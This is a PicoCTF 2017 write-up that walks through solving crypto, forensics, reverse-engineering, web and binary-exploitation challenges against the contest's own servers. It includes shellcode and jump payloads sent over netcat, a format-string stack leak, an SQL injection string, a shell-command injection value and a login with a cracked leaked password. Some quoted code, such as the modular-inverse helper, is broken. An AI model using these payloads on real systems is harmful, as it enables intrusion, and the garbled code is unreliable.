PicoCTF 2017 Write-up

25 Aug 2017

Level 1



This exercise is about creating a SSH key, and then using the web shell to login with it.

Why use SSH keys? You can be authenticated by the server without having to send your password over a network. You are invulnerable to brute force. SSH keys are created in pairs, one is the private key and the other is the public key. You can share the public key with the server, but make sure the private key is kept for your eyes only (usu. ~/.ssh).

First, you need to use ssh-keygen to create a unique SSH key for yourself. Use -t for a type of RSA key and -C for a comment. If not already setup, this should setup a .ssh directory that has something like: id_rsa , id_rsa.pub

Add the id_rsa.pub to your authorized_keys in the PICO CTF web shell.

Now you can login with username@shell2017.picoctf.com


Reverse Engineering


First change directory. But when we get there and try to cat flag - we can’t! Permission denied.

Let’s look at the hex2raw executable. Once we do it, it gives us the flag in raw: v\h3-

How do we get the raw Ascii back to hex? Just pipe it to XXD!

cd /problems/45f3b0abcf176b7cf7c1536b28d05d72
./raw2hex | xxd -p 

Level 2


Little School Bus

Can you help me find the data in this littleschoolbus.bmp?

This is least significant bit steganography! We can feed it into MatLab

Just Keyp Trying

Here’s an interesting capture of some data. But what exactly is this data? Take a look: data.pcap

Take a look at it in Notepad! It’s… erm… undecipherable confusing data squiggles? Anyway, it’s a .pcap file, so let’s look in WireShark.

The info column says “URB_INTERRUPT in”, while the protocol column says “USB”.

These packets seem to be USB packets with USBPcap headers. Not only do the packets differ in time - but, in a value called Leftover Capture Data, aka. usb.capdata. An example is “00 00 15 00 00 00 00 00”

Why is it in that format? Well, a keyboard sends press-key and release-key information to the OS, which interprets it based on the application. The usual format is in a byte array like: [modifier, reserved, key1, key2, key3, key4, key6, key 7]. For instance, ‘a’ is [0,0,4,0,0,0,0,0]. A capitol ‘A’ would have a ‘Left Shift’ modifier so it’d be: [2,0,4,0,0,0,0,0]

We want the third byte, and we’re going to reference the usage tables for key codes on a USB keyboard. The usage ID is the third field for key1.

Use tshark to get the byte array tshark -r data.pcap -T fields -e usb.capdata | cut -d ':' -f 3. Then feed that into python with a dictionary for a-z, numbers and their usage ids. I got flag{pr355_0nwards_3A10134E}

Note: Do not worry about case sensitivity




Someone got hacked! Check out some service’s password hashes that were leaked at hashdump.txt! Do you think they chose strong passwords? We should check… The service is running at shell2017.picoctf.com:4534!

The hashdump seems to resemble format (user)::(encrypted password)

The encrypted passwords are hashes - but lets find if some are decrypted. I decided to login as nadia with the decrypted hash of w0k3w4ll

Congratulations. You are in the ASCII cat database! And there’s the flag! =^_^=

Weird RSA

We recovered some data. It was labeled as RSA, but what in the world are “dq” and “dp”? Can you decrypt the ciphertext for us?

The data file has: c, p, q, dp, dq

It seems like this might be related to an equation. A quick search leads us to Chinese remainder algorithm where p and q are primes for the key generation, and dp and dq are (1/e)(mod (p-1)( and (1/e)(mod (q-1)) respectively.

Then, there’s qInv = (1/q) mod (p)

We can feed this into python. A trick is to use the built-in pow function because you can supply a mod. This reduces the program time, instead of using mod, %, after computing the power.

# From stack overflow to calculate multiplicative inverse
# https://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python

def egcd(a, b):
     if a == 0:
         return (b, 0, 1)

         g, y, x = egcd(b % a, a)
         return (g, x - (b // a) * y, y)

def modinv(a, m):
     g, x, y = egcd(a, m)
     if g != 1:
         raise Exception('modular inverse does not exist')
         return x % m

# We have c,p,q, dp, dq

# We need to get qinv
# qinv is 1/q (mod p)
qinv = modinv(q, p)

# m1 is c^(dp)(mod p)
m1 = pow(c,dp,p)
# m2 is c^(dp)(mod q)
m2 = pow(c, dq,q)
# h is qinv * (m1 - m2) * (mod p)
h = (qinv * (m1 - m2)) % p
# m = m2 + hq
m = m2 + h * q

Don't forget to change the decoded hex into Ascii to read the flag!

Reverse Engineering

A Thing Called the Stack

A friend was stacking dinner plates, and handed you this, saying something about a “stack”. Can you find the difference between the value of esp at the end of the code, and the location of the saved return address? Assume a 32 bit system. Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df

We want the difference (bytes) between the value of the register esp at the return address of the current frame and at the end of the code.

esp and ebp are both registers. ebp points to the base of the current frame (just below the return address of the current function frame), and esp points to the top of the stack.

Things of note:

The assembly code is:

    pushl %ebp
    mov %esp, %ebp
    pushl %edi
    pushl %esi
    pushl %ebx
    sub $0x48, %esp
    movl $0x1, (%esp)
    movl $0x2, 0x4(%esp)
    movl $0x3, 0x8(%esp)
    movl $0x4, 0xc(%esp)

Let’s walk through this one step at a time.
1. Foo function is called, the return address is pushed on top of the stack.

return address
saved ebp <= %esp

2. ebp register is pushed onto the stack.

3. current value of esp is assigned to ebp
4. push DWORD contents of edi to address pointed by esp.
5. push DWORD contents of esi to address pointed by esp.
6. push DWORD contents of ebx to address pointed by esp.

return address
saved ebp
%ebx <= %esp

7. subtract esp by 0x48
* Note: stack grows to lower addresses; subtraction moves esp farther away from ebp

8. place value of 0x1 into the first DWORD slot of array (0,esp)
9. place value of 0x2 into the second DWORD slot of array (4,esp)
10. place value of 0x3 into the third DWORD slot of array (8,esp)
11. place value of 0x4 into the fouth DWORD slot of array (12,esp)

The difference between of esp is 0x58, which is the flag!

The final stack:

ebp-4 %ebp
ebp-8 %edi
ebp-12 %esi
ebp-16 %ebx
ebp-88 0x1
ebp-92 0x2
ebp-96 0x3
ebp-100 0x4 <= %esp

It is stored by the instruction base pointer, ebp, which holds the current stack frame.

Commands that modify like push and pop. However, the final mov commands do not affect the stack because they do not actually modify the esp register. The mov commands are instead writing values to the place that the register esp is pointing to on the stack. We know this because of the surrounding parentheses, ie. movl $0x3, 0x8(%esp).


Programmers Assemble

You found a text file with some really low level code. Some value at the beginning has been X’ed out. Can you figure out what should be there, to make main return the value 0x1? Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df

Let’s look through the code.

.global main

    mov $XXXXXXX, %eax
    mov $0, %ebx
    mov $0x6, %ecx
    test %eax, %eax
    jz fin
    add %ecx, %ebx
    dec %eax
    jmp loop
    cmp $0x86a0, %ebx
    je good
    mov $0, %eax
    jmp end
    mov $1, %eax

We want to return 0x1, and we find that in the good subroutine. Okay, so the big question is - how do we get to good?

Let’s work backwords.

To get to good, we need to get to fin. We have a operation cmp $0x86a0, %ebx where we need ebx to equal 0x86a0 or 34464.

Okay, how do we get to fin?

To get to fin, we need eax to equal 0 in the loop subroutine. If eax is not 0, then the loop will repeat with the following.

    add %ecx, %ebx
    dec %eax
    jmp loop

The register ecx is added with what’s in the register ebx. Then the register eax is decremented. It continues until eax is zero (hence, the subroutine being named a loop!)

If we note at the beginning of the main subroutine, ebx is initialized to 0 and ecx is initialized to 6. We want ebx, however, to evaluate to 34464 for the fin subroutine.

We divide by 6 to get 5744, which is 0x1670 in hex. This is the starting value that eax is initialized to. 0x1670 is our flag.


Web Exploitation

My First SQL

I really need access to website, but I forgot my password and there is no reset. Can you help?

SQL Injection is where someone inserts a string that is interpreted as code. SQL queries can show what fields are matched from the database. A successful injection allows one to read and modify the database data.

select * from users where user = ''' and pass = '';

To test the vulnerability, this is a common input.

' OR '1'='1

The first part is a blank statement while the second will always evaluate to true. The single quotation is the character limiter for SQL. When you delimit strings, you can test whether the strings are properly escaped.


Oh, sweet, they made a spinoff game to Toaster Wars! That last room has a lot of flags in it though. I wonder which is the right one…? Check it out here.

Click the link to get to Toaster Wars! Our goal is to get to the flag room.

Takes too long to move the toaster. Not sure why I’m experiencing so much lag; will revist.

Binary Exploitation


You no longer have an easy thing to call, but you have more space. Program: shellz! Source. Connect on shell2017.picoctf.com:6942.

Look into the shellz.c code. It will execute bytes as a function. First, lets find shellcode that is less than 40 bytes long.

Here is a good one that is 21 bytes.

> echo -e "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2$
My mother told me to never accept things from strangers                               
How bad could running a couple bytes be though?                                       
Give me 40 bytes:                                                                     

cat flag.txt                                                                          


How much can a couple bytes do? Use shells! Source. Connect on shell2017.picoctf.com:55049.

This is kind of suspicious in the shells.c. The function win will read the flag!

//TODO: Ask IT why this is here
void win(){
    system("/bin/cat ./flag.txt");    

Perhaps we can play with the function win. We can’t just pipe in shellcode because.. now, unfortunately, the program only wants 10 bytes!

First, let’s get the address of the function win with gdb.

gdb shells
(gdb) print &win
$1 = (<text variable, no debug info> *) 0x8048540 <win> 

Awesome! So the memory location we want is 0x8048540. Now, there are two options. You can either jump to it or push it to the instruction pointer, and return. I’ve decided to push to the address.

This is a useful tool for converting from assembly to byte code.

Assembly ByteCode
push 0x8048540 \x68\x40\x85\x04\x08
ret \xC3

Now we just have to pipe the bytes into the program.

(echo -e  "\x68\x40\x85\x04\x08\xC3" ; cat -) | nc shell2017.picoctf.com 55049  

The flag we get is 790fe1a8c59ae1e7607273ace0014dfc


Guess The Number

Just a simple number-guessing game. How hard could it be? Binary Source. Connect on shell2017.picoctf.com:40780.

The strtol is a function that interprets an integer value in a byte string.

long int strtol(const char *str, char **endptr, int base)

Strtol is what takes our input, which is originally a 32-bit integer. Perhaps we can overflow it with the register that has the win function in the guess_num.c code.

Important things to note:

val >>=4;

strtol checks for overflow, but it does allow negative numbers.

Our address for win is 0x804852b . In decimal, this is: 134513963. In binary, this is:

1000 0000 0100 1000 0101 0010 1011

We shift win to the left by 4 places.

1000 0000 0100 1000 0101 0010 1011 0000

This is now 2152223408 in decimal. It is greater than a 32 bit integer whose max value is 2147483647. That said, we can use the information that 2152223408 will overflow. We just need to figure out what that number is.

So, we need to input the number -2142743887

> nc shell2017.picoctf.com 40780                                                          
Welcome to the number guessing game!                            
I'm thinking of a number. Can you guess it?                     
Guess right and you get a shell!                                
Enter your number: -2142743887                                  
You entered -2142743887. Let's see if it was right...           
Congratulations! Have a shell:                                  
/bin/sh: 0: can't access tty; job control turned off            
$ ls                                                            
$ cat flag.txt                                                  

The flag is e08d404edccb7d8259f1fe02acd34894

Ive Got A Secret

Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:5320.

The hint tells us that this is a beginning format string attack.

A format string is usually the first argument to a printf function. They use format specifiers to indicate how it should be formatted.

It is sometimes called or compared to a buffer overflow because (1) the stack data structure is similar to a buffer and (2) bogus input allows one to access outside a stack frame. Here are some examples.

\\ Normal usage
printf("My name is %s and I am %d", name, age);
\\ Where it goes wrong
printf("100% dood"); \\ Prints stack entry 4 bytes above %eip
printf("%s"); \\ Prints bytes pointed to by that stack entry
printf("100% no") \\ Writes 3 to address pointed to by stack entry

When we look at the secret.c code, there’s two things to note. First, there’s a call to /dev/urandom, which generates a random value each instance for the variable secret. This is the variable that is compared to our input to determine if we can cat the flag. Last but not least, we can see that printf is used. This is important because the printf(buffer) in the code does not check for type. This means that we can netcat in and use format strings like %x to acess values.

So, let’s do it! Let’s read from the stack!

nc shell2017.picoctf.com 5320
> %x %x %x %x %x %x %x %x %x %x %x

I get this on the first try:

40 f7fc7c20 8048792 1 ffffdd34 76593d94 3 f7fc73c4 ffffdca0 0 f7e37a63

I get this on the second try:

40 f7fc7c20 8048792 1 ffffdd34 f6bc530 3 f7fc73c4 ffffdca0 0 f7e37a63

By comparing the two, we know that the 5th argument or result from %x is the address that is holding the variable secret.

On my last try:

40 f7fc7c20 8048792 1 ffffdd34 516ff4c6 3 f7fc73c4 ffffdca0 0 f7e37a63

Great! I give the secret, 516ff4c6 , and obtain the flag 7662bb6d94ae9ab986288a5353e7b86a


Flagsay 1

I heard you like flags, so now you can make your own! Exhilarating! Use flagsay-1! Source. Connect on shell2017.picoctf.com:51865.

I’m up for flag making! The user input is echoed by the system

char commandBase[] = "/bin/echo \"%s\"\n";

Input is not escaped so let’s use this vulnerability. We can use the quotation marks to make it seem like a string, but with the semicolon to execute our command. Normally, you use semicolons in bash programming to have multiple commands on a line. For instance, ls . ; cd .. would list your current directory and then change your directory to the parent.

nc shell2017.picoctf.com 51865                                                
" ; /bin/ls . "                                                               
/bin/ls: cannot access                     /                                  
            //                                   /                                                                            

Lets get into flag.txt!

nc shell2017.picoctf.com 51865                                               
" ; /bin/cat ./flag.txt "                                                     
/bin/cat:           /                                                         
            //                                   /                            
           //                                   /                             

The flag is 2ab2050bf32e84975a10d774a919e1d0.

VR Gear Console

Here’s the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/51645e84d55d376442beaf264e0908b9


Master Challenge

Turns out, some of the files back from Master Challenge 1 were corrupted. Restore this one file and find the flag. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. The flag starts with the character z.

This is the end challenge for Level 2.

If we take a look at the file provided in a text editor, there’s several things in it with a .png extension. This hints to the file being a zip archive.

Let’s extract it!

>unzip file                                                                  
Archive:  file                                                                        
file #1:  bad zipfile offset (local header sig):  0                                   
  inflating: dumped/nottheflag1.png                                                   
  inflating: dumped/nottheflag2.png                                                   
  inflating: dumped/nottheflag3.png                                                   
  inflating: dumped/nottheflag4.png                                                   
  inflating: dumped/nottheflag5.png                                                   
  inflating: dumped/nottheflag6.png 

Shiz. That didn’t work. Lets look at the header of the file because that will tells us more about the file type. We can use the utilities hexdump or xxd to find out what this file has.

5858 5858

It should be: PK\x03\x04 or 504B 0304

Lets edit the file, unpack the zip, and open up the flag!

>hexedit file                                                                          
>xxd file | less                 
>unzip file                  
Archive:  file                                                                        
  inflating: flag.png                                                                 
  inflating: nottheflag1.png                                                          
  inflating: nottheflag2.png                                                          
  inflating: nottheflag3.png                                                          
  inflating: nottheflag4.png                                                          
  inflating: nottheflag5.png                                                          
  inflating: nottheflag6.png                                                          
>feh flag.png 

The flag is zippidyd00da92849522

Level 3



We found a service hiding a flag! It seems to be using some kind of MD5 Hash Chain authentication to identify who is allowed to see the flag. Maybe there is a flaw you can exploit? hcexample.py has some example code on how to calculate iterations of the MD5 hash chain. Connect to it at shell2017.picoctf.com:50102!

A hash chain is a successive application of a hash. For instance, let H be the hash function and x as the secret string. A server might store the hash1000(x). When the user authenticates with the server, they give it hash999(x). The server then takes the hash of hash999(x) to get back a value, H(hash999(x)) which it checks with hash1000(x).

There are two steps for the server:

  1. Check if H(hash999(x)) equal hash1000(x)
  2. If it does, replace hash1000(x) with hash999(x)

When we netcat into the application, we are greeted by this.

> nc shell2017.picoctf.com 50102           

***            FlagKeeper 1.1           ***                 
*  now with HASHCHAIN AUTHENTICATION! XD  *                 

Would you like to register(r) or get flag(f)?               


Hello new user! Your ID is now 4343 and your assigned hashchain see
Please validate your new ID by sending the hash before this one in 
ill hash to the one I give you):  

When we look at the provided python example, they use md5 hashes. This gives us a hint. There’s need to be a unique seed because one is randomly generated at login. Lets modify it so that the seed is the id. We can modify the python code provided to print out the hash values for a 100-long hash chain.

seed = md5.new(str(id)).hexdigest()

hashc = seed
for i in xrange(100):
  hashc = md5.new(hashc).hexdigest()
  if str(hashc) == last_hash:
    print("This was the last hash from the server.")
  print(hashc, i)
print hashc

From this, we get a log of the hashes. We can work backwords from here. To get hash d94f478797ce761c3d3a0c98b643652c, we must hash c26ce5807968077a80d75838b8e890e0 . We enter this back into the server - awesome, it accepts it!

Lets log back to the server, but now with the intention to get the flag.

nc shell2017.picoctf.com 50102

***            FlagKeeper 1.1           ***                                            
*  now with HASHCHAIN AUTHENTICATION! XD  *                                            

Would you like to register(r) or get flag(f)?                                          


This flag only for user 2597                                                           
Please authenticate as user 2597                                                       
Next token?                                                                            
Hello user 2597! Here's the flag: 96630f954dd403c7882666b5443e4678 

The flag is 96630f954dd403c7882666b5443e4678.

There are a couple downsides to our python code. For example, it’s much more likely that the hash chain will be longer than 100. Additionally, we could have looped back our python code into the program by reading in the system output of the hash.



You stumbled upon a group Message. Can you figure out what they were sending? The string sent is ascii encoded as a hex number (submit the ascii string as the flag)

We have a hint: The same message, with a small exponent, is being encrypted with several different n values

When we look at the values in the message, we see assignment of variables e,c1,n1,c2,n2,c3,n3

A quick search shows me that this is RSA with a low secret exponent. In particular, this is Hastad’s broadcast attack. We have 3 different ciphertexts and 3 different public keys. Because n1, n2, and n3 are relatively prime, then we can use the Chinese Remainder Theorem to calculate the third root.

Good news is that we don’t have to recreate the wheel because someone already made a python tool

> python rsaHastad.py n1 n2 n3 c1 c2 c3
            RSA Hastad Attack         
             JulesDT -- 2016          
             License GNU/GPL          

Decoded Hex :
As Ascii :

The flag is broadcast_with_small_e_is_killer_20472673112

It’s good to go over JulesDT code, however, to understand several concepts: